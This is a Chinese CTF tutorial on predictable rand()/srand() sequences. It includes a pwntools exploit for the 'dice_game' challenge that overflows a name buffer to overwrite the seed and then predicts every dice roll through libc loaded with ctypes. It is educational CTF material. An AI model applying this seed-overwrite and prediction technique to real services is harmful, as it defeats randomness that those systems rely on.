0%

PWN中伪随机数问题--srand()/rand()

0x00 前言

PWN中通常使用srand()和rand()配合使用来设置伪随机数。通常当我们输入的数可以覆盖到srand()中的值时,我们可以预测rand()产生固定序列。

0x01 关于rand()和sand()

rand()

rand()函数是使用线性同余法生成随机数,因为其周期特别长,所以在一定范围内可以看成随机的。但每次生成都是固定的序列

我们使用如下代码生成10个随机数:

1
2
3
4
5
6
7
8
9
#include <iostream>
using namespace std;
int main() {
for(int i = 0; i < 10; i++)
{
cout << rand() << endl;
}
return 0;
}

此时查看运行结果,多次运行结果一样。

srand()

srand()为初始化随机数发生器,用于设置rand()产生随机数时的种子。传入的参数seed为unsigned int类型,通常我们会使用时间time(NULL)或time(0)作为seed。当我们不设置srand()时,将默认为srand(1)。如果我们设置某个固定的seed,那么虽然在同一次运行时,会有不同的随机数产生,但是对于这段程序的多次运行所得到的结果是不变的。如下代码:

1
2
3
4
5
6
7
8
9
10
#include <iostream>
using namespace std;
int main() {
srand(2);
for(int i = 0; i < 10; i++)
{
cout << rand() << endl;
}
return 0;
}

结果如图:

0x02 简单示例

攻防世界—dice_game

我们直接拖入ida看源码

由于我们可以覆盖seed,所以再输入payload时,将seed设置为1.

1
payload = 'A'*0x40 + p64(1)

此时,我们就直接使用给出的libc来自动计算随机数

python脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
from ctypes import *


p = remote(IP,port)

libc = cdll.LoadLibrary('libc.so.6')
libc.srand(1)

payload = 'A' * 64 + p64(1)
p.recvuntil('Welcome, let me know your name: ')
p.sendline(payload)


for i in range(0,50):
payload = str(libc.rand() % 6 + 1)
p.sendlineafter('Give me the point(1~6): ',payload)

p.interactive()

ctypes包的cdll.LoadLibrary(‘libc.so.xxx’)可以在在脚本中加载动态库,同时又能调用库中的函数。

0x03 参考

关于rand()和srand()

CTF中的PWN——srand()/rand()漏洞(栈溢出)

-------本文结束  感谢您的阅读-------